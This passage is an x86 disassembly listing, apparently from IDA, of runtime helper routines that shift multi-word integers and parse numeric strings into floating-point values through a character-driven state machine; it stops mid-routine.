mov eax, [edx+8]
add eax, 1
mov ecx, [ebp+arg_0]
mov [ecx+8], eax
loc_42E587: ; CODE XREF: sub_42E530+25j
; sub_42E530+46j
mov edx, [ebp+arg_0]
add edx, 4
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+4]
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+4]
push eax
call sub_42E4F0
add esp, 0Ch
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jz short loc_42E5BC
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+8], edx
loc_42E5BC: ; CODE XREF: sub_42E530+7Bj
mov ecx, [ebp+arg_0]
add ecx, 8
push ecx
mov edx, [ebp+arg_4]
mov eax, [edx+8]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
push edx
call sub_42E4F0
add esp, 0Ch
mov esp, ebp
pop ebp
retn
sub_42E530 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E5E0 proc near ; CODE XREF: sub_42E6B0+5Bp
; sub_42E6B0+67p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 80000000h
neg ecx
sbb ecx, ecx
neg ecx
mov [ebp+var_4], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+4]
and eax, 80000000h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx]
shl edx, 1
mov eax, [ebp+arg_0]
mov [eax], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
shl edx, 1
or edx, [ebp+var_4]
mov eax, [ebp+arg_0]
mov [eax+4], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
shl edx, 1
or edx, [ebp+var_8]
mov eax, [ebp+arg_0]
mov [eax+8], edx
mov esp, ebp
pop ebp
retn
sub_42E5E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E640 proc near ; CODE XREF: sub_42F370+382p
; sub_431540+316p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
and ecx, 1
neg ecx
sbb ecx, ecx
and ecx, 80000000h
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+4]
and eax, 1
neg eax
sbb eax, eax
and eax, 80000000h
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
shr edx, 1
mov eax, [ebp+arg_0]
mov [eax+8], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
shr edx, 1
or edx, [ebp+var_8]
mov eax, [ebp+arg_0]
mov [eax+4], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx]
shr edx, 1
or edx, [ebp+var_4]
mov eax, [ebp+arg_0]
mov [eax], edx
mov esp, ebp
pop ebp
retn
sub_42E640 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E6B0 proc near ; CODE XREF: sub_42E7F0+8A7p
var_10 = word ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov [ebp+var_10], 404Eh
mov eax, [ebp+arg_8]
mov dword ptr [eax], 0
mov ecx, [ebp+arg_8]
mov dword ptr [ecx+4], 0
mov edx, [ebp+arg_8]
mov dword ptr [edx+8], 0
jmp short loc_42E6ED
; ---------------------------------------------------------------------------
loc_42E6DB: ; CODE XREF: sub_42E6B0+B2j
mov eax, [ebp+arg_4]
sub eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
loc_42E6ED: ; CODE XREF: sub_42E6B0+29j
cmp [ebp+arg_4], 0
jbe short loc_42E767
mov edx, [ebp+arg_8]
mov eax, [edx]
mov [ebp+var_C], eax
mov ecx, [edx+4]
mov [ebp+var_8], ecx
mov edx, [edx+8]
mov [ebp+var_4], edx
mov eax, [ebp+arg_8]
push eax
call sub_42E5E0
add esp, 4
mov ecx, [ebp+arg_8]
push ecx
call sub_42E5E0
add esp, 4
lea edx, [ebp+var_C]
push edx
mov eax, [ebp+arg_8]
push eax
call sub_42E530
add esp, 8
mov ecx, [ebp+arg_8]
push ecx
call sub_42E5E0
add esp, 4
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
mov [ebp+var_C], eax
mov [ebp+var_8], 0
mov [ebp+var_4], 0
lea ecx, [ebp+var_C]
push ecx
mov edx, [ebp+arg_8]
push edx
call sub_42E530
add esp, 8
jmp loc_42E6DB
; ---------------------------------------------------------------------------
loc_42E767: ; CODE XREF: sub_42E6B0+41j
; sub_42E6B0+101j
mov eax, [ebp+arg_8]
cmp dword ptr [eax+8], 0
jnz short loc_42E7B3
mov ecx, [ebp+arg_8]
mov edx, [ecx+4]
shr edx, 10h
mov eax, [ebp+arg_8]
mov [eax+8], edx
mov ecx, [ebp+arg_8]
mov edx, [ecx+4]
shl edx, 10h
mov eax, [ebp+arg_8]
mov ecx, [eax]
shr ecx, 10h
or edx, ecx
mov eax, [ebp+arg_8]
mov [eax+4], edx
mov ecx, [ebp+arg_8]
mov edx, [ecx]
shl edx, 10h
mov eax, [ebp+arg_8]
mov [eax], edx
mov cx, [ebp+var_10]
sub cx, 10h
mov [ebp+var_10], cx
jmp short loc_42E767
; ---------------------------------------------------------------------------
loc_42E7B3: ; CODE XREF: sub_42E6B0+BEj
; sub_42E6B0+12Aj
mov edx, [ebp+arg_8]
mov eax, [edx+8]
and eax, 8000h
test eax, eax
jnz short loc_42E7DC
mov ecx, [ebp+arg_8]
push ecx
call sub_42E5E0
add esp, 4
mov dx, [ebp+var_10]
sub dx, 1
mov [ebp+var_10], dx
jmp short loc_42E7B3
; ---------------------------------------------------------------------------
loc_42E7DC: ; CODE XREF: sub_42E6B0+110j
mov eax, [ebp+arg_8]
mov cx, [ebp+var_10]
mov [eax+0Ah], cx
mov esp, ebp
pop ebp
retn
sub_42E6B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E7F0 proc near ; CODE XREF: sub_42B9B0+1Ap
; .data:0042BA0Ap ...
var_B4 = byte ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = byte ptr -0A8h
var_A4 = byte ptr -0A4h
var_A0 = dword ptr -0A0h
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = byte ptr -8Ch
var_88 = dword ptr -88h
var_84 = byte ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = word ptr -60h
var_5E = dword ptr -5Eh
var_5A = dword ptr -5Ah
var_56 = word ptr -56h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = word ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_21 = byte ptr -21h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 0B4h
lea eax, [ebp+var_38]
mov [ebp+var_68], eax
mov word ptr [ebp+var_1C], 0
mov [ebp+var_74], 1
mov [ebp+var_70], 0
mov [ebp+var_54], 0
mov [ebp+var_C], 0
mov [ebp+var_18], 0
mov [ebp+var_40], 0
mov [ebp+var_78], 0
mov [ebp+var_14], 0
mov [ebp+var_6C], 0
mov [ebp+var_44], 0
mov [ebp+var_4C], 0
mov ecx, [ebp+arg_8]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov [ebp+var_64], edx
jmp short loc_42E869
; ---------------------------------------------------------------------------
loc_42E860: ; CODE XREF: sub_42E7F0:loc_42E895j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_42E869: ; CODE XREF: sub_42E7F0+6Ej
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 20h
jz short loc_42E895
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 9
jz short loc_42E895
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 0Ah
jz short loc_42E895
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 0Dh
jnz short loc_42E897
loc_42E895: ; CODE XREF: sub_42E7F0+82j
; sub_42E7F0+8Dj ...
jmp short loc_42E860
; ---------------------------------------------------------------------------
loc_42E897: ; CODE XREF: sub_42E7F0+A3j
; sub_42E7F0:loc_42EFF3j
cmp [ebp+var_4C], 0Ah
jz loc_42EFF8
mov eax, [ebp+var_4]
mov cl, [eax]
mov byte ptr [ebp+var_3C], cl
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_4C]
mov [ebp+var_80], eax
cmp [ebp+var_80], 0Bh
ja loc_42EFF3
mov ecx, [ebp+var_80]
jmp off_42F20A[ecx*4]
loc_42E8CC: ; DATA XREF: .data:off_42F20Ao
movsx edx, byte ptr [ebp+var_3C]
cmp edx, 31h
jl short loc_42E8F0
movsx eax, byte ptr [ebp+var_3C]
cmp eax, 39h
jg short loc_42E8F0
mov [ebp+var_4C], 3
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
jmp short loc_42E965
; ---------------------------------------------------------------------------
loc_42E8F0: ; CODE XREF: sub_42E7F0+E3j
; sub_42E7F0+ECj
movsx edx, byte ptr [ebp+var_3C]
movsx eax, byte_447484
cmp edx, eax
jnz short loc_42E908
mov [ebp+var_4C], 5
jmp short loc_42E965
; ---------------------------------------------------------------------------
loc_42E908: ; CODE XREF: sub_42E7F0+10Dj
mov cl, byte ptr [ebp+var_3C]
mov [ebp+var_84], cl
cmp [ebp+var_84], 2Bh
jz short loc_42E937
cmp [ebp+var_84], 2Dh
jz short loc_42E946
cmp [ebp+var_84], 30h
jz short loc_42E92E
jmp short loc_42E955
; ---------------------------------------------------------------------------
loc_42E92E: ; CODE XREF: sub_42E7F0+13Aj
mov [ebp+var_4C], 1
jmp short loc_42E965
; ---------------------------------------------------------------------------
loc_42E937: ; CODE XREF: sub_42E7F0+128j
mov [ebp+var_4C], 2
mov word ptr [ebp+var_1C], 0
jmp short loc_42E965
; ---------------------------------------------------------------------------
loc_42E946: ; CODE XREF: sub_42E7F0+131j
mov [ebp+var_4C], 2
mov word ptr [ebp+var_1C], 8000h
jmp short loc_42E965
; ---------------------------------------------------------------------------
loc_42E955: ; CODE XREF: sub_42E7F0+13Cj
mov [ebp+var_4C], 0Ah
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
loc_42E965: ; CODE XREF: sub_42E7F0+FEj
; sub_42E7F0+116j ...
jmp loc_42EFF3
; ---------------------------------------------------------------------------
loc_42E96A: ; CODE XREF: sub_42E7F0+D5j
; DATA XREF: .data:0042F20Eo
mov [ebp+var_54], 1
movsx eax, byte ptr [ebp+var_3C]
cmp eax, 31h
jl short loc_42E998
movsx ecx, byte ptr [ebp+var_3C]
cmp ecx, 39h
jg short loc_42E998
mov [ebp+var_4C], 3
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
jmp loc_42EA1B
; ---------------------------------------------------------------------------
loc_42E998: ; CODE XREF: sub_42E7F0+188j
; sub_42E7F0+191j
movsx eax, byte ptr [ebp+var_3C]
movsx ecx, byte_447484
cmp eax, ecx
jnz short loc_42E9B0
mov [ebp+var_4C], 4
jmp short loc_42EA1B
; ---------------------------------------------------------------------------
loc_42E9B0: ; CODE XREF: sub_42E7F0+1B5j
movsx edx, byte ptr [ebp+var_3C]
mov [ebp+var_88], edx
mov eax, [ebp+var_88]
sub eax, 2Bh
mov [ebp+var_88], eax
cmp [ebp+var_88], 3Ah
ja short loc_42EA0B
mov edx, [ebp+var_88]
xor ecx, ecx
mov cl, byte_42F24A[edx]
jmp off_42F23A[ecx*4]
loc_42E9E7: ; CODE XREF: sub_42E7F0+D5j
; DATA XREF: .data:0042F23Eo
mov [ebp+var_4C], 1
jmp short loc_42EA1B
; ---------------------------------------------------------------------------
loc_42E9F0: ; CODE XREF: sub_42E7F0+D5j
; sub_42E7F0+1F0j
; DATA XREF: ...
mov [ebp+var_4C], 6
jmp short loc_42EA1B
; ---------------------------------------------------------------------------
loc_42E9F9: ; CODE XREF: sub_42E7F0+D5j
; sub_42E7F0+1F0j
; DATA XREF: ...
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
mov [ebp+var_4C], 0Bh
jmp short loc_42EA1B
; ---------------------------------------------------------------------------
loc_42EA0B: ; CODE XREF: sub_42E7F0+D5j
; sub_42E7F0+1E0j ...
mov [ebp+var_4C], 0Ah
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
loc_42EA1B: ; CODE XREF: sub_42E7F0+1A3j
; sub_42E7F0+1BEj ...
jmp loc_42EFF3
; ---------------------------------------------------------------------------
loc_42EA20: ; CODE XREF: sub_42E7F0+D5j
; DATA XREF: .data:0042F212o
movsx edx, byte ptr [ebp+var_3C]
cmp edx, 31h
jl short loc_42EA44
movsx eax, byte ptr [ebp+var_3C]
cmp eax, 39h
jg short loc_42EA44
mov [ebp+var_4C], 3
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
jmp short loc_42EA86
; ---------------------------------------------------------------------------
loc_42EA44: ; CODE XREF: sub_42E7F0+237j
; sub_42E7F0+240j
movsx edx, byte ptr [ebp+var_3C]
movsx eax, byte_447484
cmp edx, eax
jnz short loc_42EA5C
mov [ebp+var_4C], 5
jmp short loc_42EA86
; ---------------------------------------------------------------------------
loc_42EA5C: ; CODE XREF: sub_42E7F0+261j
mov cl, byte ptr [ebp+var_3C]
mov [ebp+var_8C], cl
cmp [ebp+var_8C], 30h
jz short loc_42EA70
jmp short loc_42EA79
; ---------------------------------------------------------------------------
loc_42EA70: ; CODE XREF: sub_42E7F0+27Cj
mov [ebp+var_4C], 1
jmp short loc_42EA86
; ---------------------------------------------------------------------------
loc_42EA79: ; CODE XREF: sub_42E7F0+27Ej
mov [ebp+var_4C], 0Ah
mov edx, [ebp+var_64]
mov [ebp+var_4], edx
loc_42EA86: ; CODE XREF: sub_42E7F0+252j
; sub_42E7F0+26Aj ...
jmp loc_42EFF3
; ---------------------------------------------------------------------------
loc_42EA8B: ; CODE XREF: sub_42E7F0+D5j
; DATA XREF: .data:0042F216o
mov [ebp+var_54], 1
jmp short loc_42EAA5
; ---------------------------------------------------------------------------
loc_42EA94: ; CODE XREF: sub_42E7F0:loc_42EB1Fj
mov eax, [ebp+var_4]
mov cl, [eax]
mov byte ptr [ebp+var_3C], cl
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_42EAA5: ; CODE XREF: sub_42E7F0+2A2j
cmp dword_447480, 1
jle short loc_42EAC9
push 4
mov eax, [ebp+var_3C]
and eax, 0FFh
push eax
call sub_41FA40
add esp, 8
mov [ebp+var_90], eax
jmp short loc_42EAE7
; ---------------------------------------------------------------------------
loc_42EAC9: ; CODE XREF: sub_42E7F0+2BCj
mov ecx, [ebp+var_3C]
and ecx, 0FFh
mov edx, off_447274
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 4
mov [ebp+var_90], eax
loc_42EAE7: ; CODE XREF: sub_42E7F0+2D7j
cmp [ebp+var_90], 0
jz short loc_42EB24
cmp [ebp+var_70], 19h
jnb short loc_42EB16
mov ecx, [ebp+var_70]
add ecx, 1
mov [ebp+var_70], ecx
movsx edx, byte ptr [ebp+var_3C]
sub edx, 30h
mov eax, [ebp+var_68]
mov [eax], dl
mov ecx, [ebp+var_68]
add ecx, 1
mov [ebp+var_68], ecx
jmp short loc_42EB1F
; ---------------------------------------------------------------------------
loc_42EB16: ; CODE XREF: sub_42E7F0+304j
mov edx, [ebp+var_6C]
add edx, 1
mov [ebp+var_6C], edx
loc_42EB1F: ; CODE XREF: sub_42E7F0+324j
jmp loc_42EA94
; ---------------------------------------------------------------------------
loc_42EB24: ; CODE XREF: sub_42E7F0+2FEj
movsx eax, byte ptr [ebp+var_3C]
movsx ecx, byte_447484
cmp eax, ecx
jnz short loc_42EB3C
mov [ebp+var_4C], 4
jmp short loc_42EB9E
; ---------------------------------------------------------------------------
loc_42EB3C: ; CODE XREF: sub_42E7F0+341j
movsx edx, byte ptr [ebp+var_3C]
mov [ebp+var_94], edx
mov eax, [ebp+var_94]
sub eax, 2Bh
mov [ebp+var_94], eax
cmp [ebp+var_94], 3Ah
ja short loc_42EB8E
mov edx, [ebp+var_94]
xor ecx, ecx
mov cl, byte_42F291[edx]
jmp off_42F285[ecx*4]
loc_42EB73: ; DATA XREF: .data:0042F289o
mov [ebp+var_4C], 6
jmp short loc_42EB9E
; ---------------------------------------------------------------------------
loc_42EB7C: ; CODE XREF: sub_42E7F0+37Cj
; DATA XREF: .data:off_42F285o
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
mov [ebp+var_4C], 0Bh
jmp short loc_42EB9E
; ---------------------------------------------------------------------------
loc_42EB8E: ; CODE XREF: sub_42E7F0+36Cj
; sub_42E7F0+37Cj
; DATA XREF: ...
mov [ebp+var_4C], 0Ah
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
loc_42EB9E: ; CODE XREF: sub_42E7F0+34Aj
; sub_42E7F0+38Aj ...
jmp loc_42EFF3
; ---------------------------------------------------------------------------
loc_42EBA3: ; CODE XREF: sub_42E7F0+D5j
; DATA XREF: .data:0042F21Ao
mov [ebp+var_54], 1
mov [ebp+var_C], 1
cmp [ebp+var_70], 0
jnz short loc_42EBDE
jmp short loc_42EBCA
; ---------------------------------------------------------------------------
loc_42EBB9: ; CODE XREF: sub_42E7F0+3ECj
mov edx, [ebp+var_4]
mov al, [edx]
mov byte ptr [ebp+var_3C], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_42EBCA: ; CODE XREF: sub_42E7F0+3C7j
movsx edx, byte ptr [ebp+var_3C]
cmp edx, 30h
jnz short loc_42EBDE
mov eax, [ebp+var_6C]
sub eax, 1
mov [ebp+var_6C], eax
jmp short loc_42EBB9
; ---------------------------------------------------------------------------
loc_42EBDE: ; CODE XREF: sub_42E7F0+3C5j
; sub_42E7F0+3E1j
jmp short loc_42EBF1
; ---------------------------------------------------------------------------
loc_42EBE0: ; CODE XREF: sub_42E7F0:loc_42EC69j
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_3C], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_42EBF1: ; CODE XREF: sub_42E7F0:loc_42EBDEj
cmp dword_447480, 1
jle short loc_42EC16
push 4
mov ecx, [ebp+var_3C]
and ecx, 0FFh
push ecx
call sub_41FA40
add esp, 8
mov [ebp+var_98], eax
jmp short loc_42EC33
; ---------------------------------------------------------------------------
loc_42EC16: ; CODE XREF: sub_42E7F0+408j
mov edx, [ebp+var_3C]
and edx, 0FFh
mov eax, off_447274
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_98], ecx
loc_42EC33: ; CODE XREF: sub_42E7F0+424j
cmp [ebp+var_98], 0
jz short loc_42EC6E
cmp [ebp+var_70], 19h
jnb short loc_42EC69
mov edx, [ebp+var_70]
add edx, 1
mov [ebp+var_70], edx
movsx eax, byte ptr [ebp+var_3C]
sub eax, 30h
mov ecx, [ebp+var_68]
mov [ecx], al
mov edx, [ebp+var_68]
add edx, 1
mov [ebp+var_68], edx
mov eax, [ebp+var_6C]
sub eax, 1
mov [ebp+var_6C], eax
loc_42EC69: ; CODE XREF: sub_42E7F0+450j
jmp loc_42EBE0
; ---------------------------------------------------------------------------
loc_42EC6E: ; CODE XREF: sub_42E7F0+44Aj
movsx ecx, byte ptr [ebp+var_3C]
mov [ebp+var_9C], ecx
mov edx, [ebp+var_9C]
sub edx, 2Bh
mov [ebp+var_9C], edx
cmp [ebp+var_9C], 3Ah
ja short loc_42ECC0
mov ecx, [ebp+var_9C]
xor eax, eax
mov al, byte_42F2D8[ecx]
jmp off_42F2CC[eax*4]
loc_42ECA5: ; DATA XREF: .data:0042F2D0o
mov [ebp+var_4C], 6
jmp short loc_42ECD0
; ---------------------------------------------------------------------------
loc_42ECAE: ; CODE XREF: sub_42E7F0+4AEj
; DATA XREF: .data:off_42F2CCo
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
mov [ebp+var_4C], 0Bh
jmp short loc_42ECD0
; ---------------------------------------------------------------------------
loc_42ECC0: ; CODE XREF: sub_42E7F0+49Ej
; sub_42E7F0+4AEj
; DATA XREF: ...
mov [ebp+var_4C], 0Ah
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
loc_42ECD0: ; CODE XREF: sub_42E7F0+4BCj
; sub_42E7F0+4CEj
jmp loc_42EFF3
; ---------------------------------------------------------------------------
loc_42ECD5: ; CODE XREF: sub_42E7F0+D5j
; DATA XREF: .data:0042F21Eo
mov [ebp+var_C], 1
cmp dword_447480, 1
jle short loc_42ED01
push 4
mov ecx, [ebp+var_3C]
and ecx, 0FFh
push ecx
call sub_41FA40
add esp, 8
mov [ebp+var_A0], eax
jmp short loc_42ED1E
; ---------------------------------------------------------------------------
loc_42ED01: ; CODE XREF: sub_42E7F0+4F3j
mov edx, [ebp+var_3C]
and edx, 0FFh
mov eax, off_447274
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_A0], ecx
loc_42ED1E: ; CODE XREF: sub_42E7F0+50Fj
cmp [ebp+var_A0], 0
jz short loc_42ED39
mov [ebp+var_4C], 4
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
jmp short loc_42ED46
; ---------------------------------------------------------------------------
loc_42ED39: ; CODE XREF: sub_42E7F0+535j
mov [ebp+var_4C], 0Ah
mov eax, [ebp+var_64]
mov [ebp+var_4], eax
loc_42ED46: ; CODE XREF: sub_42E7F0+547j
jmp loc_42EFF3
; ---------------------------------------------------------------------------
loc_42ED4B: ; CODE XREF: sub_42E7F0+D5j
; DATA XREF: .data:0042F222o
mov ecx, [ebp+var_4]
sub ecx, 2
mov [ebp+var_64], ecx
movsx edx, byte ptr [ebp+var_3C]
cmp edx, 31h
jl short loc_42ED78
movsx eax, byte ptr [ebp+var_3C]
cmp eax, 39h
jg short loc_42ED78
mov [ebp+var_4C], 9
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
jmp short loc_42EDCD
; ---------------------------------------------------------------------------
loc_42ED78: ; CODE XREF: sub_42E7F0+56Bj
; sub_42E7F0+574j
mov dl, byte ptr [ebp+var_3C]
mov [ebp+var_A4], dl
cmp [ebp+var_A4], 2Bh
jz short loc_42EDB7
cmp [ebp+var_A4], 2Dh
jz short loc_42EDA7
cmp [ebp+var_A4], 30h
jz short loc_42ED9E
jmp short loc_42EDC0
; ---------------------------------------------------------------------------
loc_42ED9E: ; CODE XREF: sub_42E7F0+5AAj
mov [ebp+var_4C], 8
jmp short loc_42EDCD
; ---------------------------------------------------------------------------
loc_42EDA7: ; CODE XREF: sub_42E7F0+5A1j
mov [ebp+var_4C], 7
mov [ebp+var_74], 0FFFFFFFFh
jmp short loc_42EDCD
; ---------------------------------------------------------------------------
loc_42EDB7: ; CODE XREF: sub_42E7F0+598j
mov [ebp+var_4C], 7
jmp short loc_42EDCD
; ---------------------------------------------------------------------------
loc_42EDC0: ; CODE XREF: sub_42E7F0+5ACj
mov [ebp+var_4C], 0Ah
mov eax, [ebp+var_64]
mov [ebp+var_4], eax
loc_42EDCD: ; CODE XREF: sub_42E7F0+586j
; sub_42E7F0+5B5j ...
jmp loc_42EFF3
; ---------------------------------------------------------------------------
loc_42EDD2: ; CODE XREF: sub_42E7F0+D5j
; DATA XREF: .data:0042F22Ao
mov [ebp+var_18], 1
jmp short loc_42EDEC
; ---------------------------------------------------------------------------
loc_42EDDB: ; CODE XREF: sub_42E7F0+605j
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_3C], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_42EDEC: ; CODE XREF: sub_42E7F0+5E9j
movsx ecx, byte ptr [ebp+var_3C]
cmp ecx, 30h
jnz short loc_42EDF7
jmp short loc_42EDDB
; ---------------------------------------------------------------------------
loc_42EDF7: ; CODE XREF: sub_42E7F0+603j
movsx edx, byte ptr [ebp+var_3C]
cmp edx, 31h
jl short loc_42EE1B
movsx eax, byte ptr [ebp+var_3C]
cmp eax, 39h
jg short loc_42EE1B
mov [ebp+var_4C], 9
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
jmp short loc_42EE2B
; ---------------------------------------------------------------------------
loc_42EE1B: ; CODE XREF: sub_42E7F0+60Ej
; sub_42E7F0+617j
mov [ebp+var_4C], 0Ah
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
loc_42EE2B: ; CODE XREF: sub_42E7F0+629j
jmp loc_42EFF3
; ---------------------------------------------------------------------------
loc_42EE30: ; CODE XREF: sub_42E7F0+D5j
; DATA XREF: .data:0042F226o
movsx eax, byte ptr [ebp+var_3C]
cmp eax, 31h
jl short loc_42EE54
movsx ecx, byte ptr [ebp+var_3C]
cmp ecx, 39h
jg short loc_42EE54
mov [ebp+var_4C], 9
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
jmp short loc_42EE7E
; ---------------------------------------------------------------------------
loc_42EE54: ; CODE XREF: sub_42E7F0+647j
; sub_42E7F0+650j
mov al, byte ptr [ebp+var_3C]
mov [ebp+var_A8], al
cmp [ebp+var_A8], 30h
jz short loc_42EE68
jmp short loc_42EE71
; ---------------------------------------------------------------------------
loc_42EE68: ; CODE XREF: sub_42E7F0+674j
mov [ebp+var_4C], 8
jmp short loc_42EE7E
; ---------------------------------------------------------------------------
loc_42EE71: ; CODE XREF: sub_42E7F0+676j
mov [ebp+var_4C], 0Ah
mov ecx, [ebp+var_64]
mov [ebp+var_4], ecx
loc_42EE7E: ; CODE XREF: sub_42E7F0+662j
; sub_42E7F0+67Fj
jmp loc_42EFF3
; ---------------------------------------------------------------------------
loc_42EE83: ; CODE XREF: sub_42E7F0+D5j
; DATA XREF: .data:0042F22Eo
mov [ebp+var_18], 1
mov [ebp+var_7C], 0
jmp short loc_42EEA4
; ---------------------------------------------------------------------------
loc_42EE93: ; CODE XREF: sub_42E7F0:loc_42EF12j
mov edx, [ebp+var_4]
mov al, [edx]
mov byte ptr [ebp+var_3C], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_42EEA4: ; CODE XREF: sub_42E7F0+6A1j
cmp dword_447480, 1
jle short loc_42EEC9
push 4
mov edx, [ebp+var_3C]
and edx, 0FFh
push edx
call sub_41FA40
add esp, 8
mov [ebp+var_AC], eax
jmp short loc_42EEE6
; ---------------------------------------------------------------------------
loc_42EEC9: ; CODE XREF: sub_42E7F0+6BBj
mov eax, [ebp+var_3C]
and eax, 0FFh
mov ecx, off_447274
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 4
mov [ebp+var_AC], edx
loc_42EEE6: ; CODE XREF: sub_42E7F0+6D7j
cmp [ebp+var_AC], 0
jz short loc_42EF17
mov eax, [ebp+var_7C]
imul eax, 0Ah
movsx ecx, byte ptr [ebp+var_3C]
lea edx, [eax+ecx-30h]
mov [ebp+var_7C], edx
cmp [ebp+var_7C], 1450h
jle short loc_42EF12
mov [ebp+var_7C], 1451h
jmp short loc_42EF17
; ---------------------------------------------------------------------------
loc_42EF12: ; CODE XREF: sub_42E7F0+717j
jmp loc_42EE93
; ---------------------------------------------------------------------------
loc_42EF17: ; CODE XREF: sub_42E7F0+6FDj
; sub_42E7F0+720j
mov eax, [ebp+var_7C]
mov [ebp+var_14], eax
jmp short loc_42EF30
; ---------------------------------------------------------------------------
loc_42EF1F: ; CODE XREF: sub_42E7F0+78Bj
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_3C], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_42EF30: ; CODE XREF: sub_42E7F0+72Dj
cmp dword_447480, 1
jle short loc_42EF55
push 4
mov ecx, [ebp+var_3C]
and ecx, 0FFh
push ecx
call sub_41FA40
add esp, 8
mov [ebp+var_B0], eax
jmp short loc_42EF72
; ---------------------------------------------------------------------------
loc_42EF55: ; CODE XREF: sub_42E7F0+747j
mov edx, [ebp+var_3C]
and edx, 0FFh
mov eax, off_447274
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_B0], ecx
loc_42EF72: ; CODE XREF: sub_42E7F0+763j
